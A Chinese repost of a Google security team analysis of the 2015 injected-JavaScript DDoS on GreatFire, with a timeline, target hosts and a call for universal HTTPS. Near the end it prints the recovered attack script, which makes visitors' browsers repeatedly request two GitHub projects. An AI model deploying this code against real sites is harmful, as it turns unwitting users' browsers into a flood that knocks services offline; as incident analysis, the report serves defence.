皮肤 颜色
板式
宽屏 窄屏
您的位置:合度 > 动态 > 技术选摘 > >

基于JavaScript的DDoS首次通过安全的浏览器发动攻击

发表日期:2015-05-05    文章编辑:秩名   来源:网络    浏览次数:
 
        为了防止恶意用户发布恶意内容,我们的安全分析浏览器都在虚拟机上运行。这使我们能够确定一个网页是否包含恶意内容,避免那些利用用户浏览器的JavaScript发起的攻击。我们每天会分析数以百万计的网页,通过机器学习算法选择考察的网页,大体上覆盖了所有的网络。
 
在 三月中旬,出现几起针对审查监测机构GreatFire的拒绝服务攻击。研究人员分析了大量这种DDoS攻击,发现了它的攻击原理,它是通过网络运营商进 行的,拦截良性网页的内容并注入恶意的JavaScript代码。比如将托管在baidu.com的网页分析JavaScript代码和HTML资源,替 换成包含攻击片断的JavaScript代码,这些代码会向被攻击的域名持续发送请求。
 
注* GreatFire 是中国托管在Github上面的开源项目,此次攻击的目的可能是希望这个项目从Github中移除。在中国这种劫持手法其实很常见,如有些网络运营商会偶 尔拦截某些网站并注入广告或更换下载文件链接等,这种技术可能是第一次被用来发动DDoS攻击。
 
 
在这篇博客中,我们分析了从2015年3月1日到4月15日的数据。首次发现安全浏览在baidu.com中注入攻击代码是在3月3日,2015年我们的观察到的最后一次注入攻击是在2015年4月7日。下面攻击发动的曲线图:
 
 
 
 
我们注意到,这次攻击分为多个阶段。第一阶段似乎是一个测试,从3月3日进行到3月6日。初始测试的目标是114.113.156.119:56789和并且请求的数目被人为限制。从3月4号到3月6日,请求限制被移除。
 
下 一个阶段是在3月10日到13日,针对下面的IP地址进行:203.90.242.126。该IP地址的域名为sinajs.cn下的主机。 3月13日,攻击扩大到d1gztyvw1gvkdq.cloudfront.net。起初,请求都通过HTTP,然后升级到HTTPS。 3月14日,攻击都通过HTTP和HTTPS开始真正的和有针对性指向d3rkfw22xppori.cloudfront.net。直到3月17日。
 
3月18日,受攻击的主机增加到:
 
d117ucqx7my6vj.cloudfront.net,
d14qqseh1jha6e.cloudfront.net,
d18yee9du95yb4.cloudfront.net,
d19r410x06nzy6.cloudfront.net,
d1blw6ybvy6vm2.cloudfront.net
 
这 也是我们第一次发现注射截断其中的非功能性Javascript。在此攻击过程的某个时刻,CloudFront的主机开始将请求302重定向到 greatfire.org以及其他域名。使用替换的Javascript在3月20日完全停止,但HTML页面注入还在继续。而使用 Javascript注入会破坏了原始网页的功能,HTML注入则没有。HTML被修改成包括原始内容和注入攻击Javascript代码的内容,如下所 示:
 
<html>
<head>
<meta name="referrer" content="never"/>
<title> </title>
</head>
<body>
<iframe src="http://pan.baidu.com/s/1i3[...]?t=Zmh4cXpXJApHIDFMcjZa" style="position:absolute; left:0; top:0; height:100%; width:100%; border:0px;" scrolling="yes"></iframe>
</body>
<script type="text/javascript">
[... 注入攻击的JavaScript代码 ...]
 
 
通过该技术,web浏览器会获取相同的HTML页面两次,但由于查询参数t的存在,第二个请求没有进行注入。被攻击的域名也发生了变化,现在包括了:
dyzem5oho3umy.cloudfront.net,
d25wg9b8djob8m.cloudfront.net
d28d0hakfq6b4n.cloudfront.net。
 
这个阶段进行了约10小时后,我们看到他们302重定向到一个不同域名的目标服务器。
 
注* *.cloudfront.net 重定向到了 github.com
 
针对CloudFront的主机攻击在3月25日停止。相反,托管在github.com资源则现于被攻击状态。第一个新的目标是
 
github.com/greatfire/wiki/wiki/nyt/,
很快就跟着
github.com/greatfire/
github.com/greatfire/wiki/wiki/dw/。
 
在3月26日,一个包含混淆攻击的Javascript代码取代了原来的版本并开始瞄准以下资源:github.com/greatfire/和github.com/cn-nytimes/。在这里,我们也观察到一些拦截注入。对GitHub的攻击似乎在2015年4月7日停止,这是看到最后一次观测到的注入攻击。
 
从三月攻击开始到四月停止,我们观测到19种独特的Javascript版本(MD5)。
 
对于HTML注入,他们的MD5校验和内容有关系,所以我们没有提供。注入的Javascript非常类似于上面提到的那种方式。
 
我们的系统观测到以下八个baidu.com域名和对应的IP地址被进了注入攻击:
 
cbjs.baidu.com(123.125.65.120)
eclick.baidu.com(123.125.115.164)
hm.baidu.com(61.135.185.140)
pos.baidu.com(115.239.210.141)
cpro.baidu.com(115.239.211.17)
bdimg.share.baidu.com(211.90.25.48)
pan.baidu.com(180.149.132.99)
wapbaike.baidu.com(123.125.114.15)
 
注入的Javascript的大小介于995到1325个字节之间。
 
我们希望这份报告有助于了解这种攻击的整体情况。它还表明,在目前的网络环境下,攻击者可能会借助一些安全的浏览器,任何人都将无法防范。这也表明,从背后分析这种攻击其实是很难的。
 
如果整个网络都通过TLS传送并加密,这样的注入攻击就不可能出现。这进一步增加了我们将网络过渡到全加密来保护完整性的动机。不幸的是,防御这种攻击对于网站经营者来说是不容易的。
 
注* 其中一段攻击JavaScript代码,大概内容是每2秒在html中加入一段script, url地址指向并访问 https://github.com/greatfire/ , 从代码可以分析出,其实任何被攻击的主机都无法防范(如从http发动针对https的攻击),除非整个互联网都进入https时代(如果发生劫持,安全浏览器会发出警告)
 
 
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);
================================================================================
发布者 Niels Provos,杰出工程师,Google 安全小组

相关文章推荐

  
Socket 和 WebSocket 有哪些区别和联系? WebSocket 和 HTML5 是什么关系? 必须在浏览器中才能使用...
  
其实对于我们一般理解的计算机内存,它算是CPU与计算机打交道最频繁的区域,所有数据都是...
  
简介 响应式Web设计 是一种创建Web应用程序的新方法。一旦采用 响应式Web设计 创建出应用程序...
  
用div做成表格的形式,把标签中间的空格都去掉就可以了...
  
看下面的代码,其中连接池采用的c3p0,配置文件省略 import java.sql.Connection; import org.springframe...
  
主要几个框架或者插件是如何实现异步加载事件响应的。 一.LABjs 这个项目位于github上面,其本...
  
html5shiv让IE6-IE8支持HTML5标签 越来越多的站点开始使用 HTML5 标签。但是目前的情况是还有很多人...
  
缓存 是实际工作中非常常用的一种提高性能的方法, 我们会在许多场景下来使用缓存。 本文通...
  
为了防止恶意用户发布恶意内容,我们的安全分析浏览器都在虚拟机上运行。这使我们能够确...